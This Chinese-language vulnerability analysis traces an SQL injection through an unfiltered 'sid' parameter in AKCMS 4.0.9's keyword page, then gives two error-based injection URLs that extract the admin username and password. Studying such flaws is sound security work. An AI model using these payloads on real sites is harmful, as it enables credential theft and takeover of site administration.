AKCMS是国内最著名的轻量级CMS建站程序,在主流PHP建站系统中特色鲜明,以灵活、小巧、兼容性好、负载强等优点而深受许多站长的喜爱。 但在 akcms 4.0.9 中,`akcms_keyword.php` 此文件中存在sql注入漏洞 akcms_keyword.php: ``` <?php $i = strpos(__FILE__, 'akcms_keyword.php'); $mypath = substr(__FILE__, 0, $i); include $mypath.'akcms_config.php'; include $mypath.$system_root.'/fore/keyword.php'; ?> ``` system_root 是和后台目录对应的 ``` <?php $system_root = 'admin'; $foreload = 1; ?> ``` 可以看到包含了`/fore/keyword.php`。 我们继续跟进一下这个文件:`admin/fore/keyword.php` ``` <?php if(!isset($_GET['sid']) ||!isset($_GET['keyword']) ) exit(); //判断sid,keyword是否存在 require_once $mypath.$system_root.'/include/common.inc.php'; require_once AK_ROOT.'include/forecache.func.php'; $forecache = getforecache($currenturl); require_once(AK_ROOT.'include/global.func.php'); require_once(AK_ROOT.'include/fore.inc.php'); $sid = $_GET['sid']; $keyword = $_GET['keyword']; //直接获取了$sid,$keyword。并没有进行过滤 $se = getsedata($sid); $k = $db->get_by('*', 'keywords', "sid='$sid' AND keyword='".addslashes($keyword)."'");...
AKCMS是国内最著名的轻量级CMS建站程序,在主流PHP建站系统中特色鲜明,以灵活、小巧、兼容性好、负载强等优点而深受许多站长的喜爱。 但在 akcms 4.0.9 中,`akcms_keyword.php` 此文件中存在sql注入漏洞 akcms_keyword.php: ``` <?php $i = strpos(__FILE__, 'akcms_keyword.php'); $mypath = substr(__FILE__, 0, $i); include $mypath.'akcms_config.php'; include $mypath.$system_root.'/fore/keyword.php'; ?> ``` system_root 是和后台目录对应的 ``` <?php $system_root = 'admin'; $foreload = 1; ?> ``` 可以看到包含了`/fore/keyword.php`。 我们继续跟进一下这个文件:`admin/fore/keyword.php` ``` <?php if(!isset($_GET['sid']) ||!isset($_GET['keyword']) ) exit(); //判断sid,keyword是否存在 require_once $mypath.$system_root.'/include/common.inc.php'; require_once AK_ROOT.'include/forecache.func.php'; $forecache = getforecache($currenturl); require_once(AK_ROOT.'include/global.func.php'); require_once(AK_ROOT.'include/fore.inc.php'); $sid = $_GET['sid']; $keyword = $_GET['keyword']; //直接获取了$sid,$keyword。并没有进行过滤 $se = getsedata($sid); $k = $db->get_by('*', 'keywords', "sid='$sid' AND keyword='".addslashes($keyword)."'"); //对$keyword进行了转义,但是对$sid并没有进行任何处理,直接取用。 if(!isset($template)) $template = $se['template']; $variables = array(); $variables['template'] = $template; $variables['html'] = 0; $variables['sid'] = $sid; $variables['num'] = $k['num']; $variables['keyword'] = $keyword; $variables['keyword_url'] = urlencode($keyword); $variables['keyword_html'] = htmlspecialchars($keyword); $html = render_template($variables); if($forecache === false) setforecache($currenturl, $html); if(substr($html, 0, 5) == '<?xml') header('Content-Type:text/xml;charset='.$header_charset); echo $html; require_once(AK_ROOT.'include/exit.php'); ?> ``` 可以看出,虽然程序员对 `$keyword` 进行了转义,但是对`$sid`并没有进行任何处理,直接使用了。 我们再跟入一下这个函数:$db->get_by ``` function get_by($what, $from, $where = '') { $table = $this->fulltablename($from); $sql = "SELECT {$what} FROM {$table}"; if($where != '') $sql .= " WHERE {$where}"; if(strpos($what, '(') === false) $sql .= " LIMIT 1"; $row = $this->get_one($sql); if($row === false) { return false; } elseif(count($row) == 1) { return current($row); } else { return $row; } } ``` 函数功能是select查询,这里也没有对$sid变量进行任何过滤。也就是说,`$sid` 从 `$_GET['sid']`被获取之后,直接带入了select查询,从而导致了sql注入漏洞的产生 漏洞证明:  获取管理员账号: ``` http://localhost/akcms4.0.9/akcms_keyword.php?sid=11111’and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,editor,0x27,0x7e) from ak_admins limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ‘1’=’1&keyword=11 ``` 获取管理员密码: ``` http://localhost/akcms4.0.9/akcms_keyword.php?sid=11111’and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,password,0x27,0x7e) from ak_admins limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ‘1’=’1&keyword=11 ```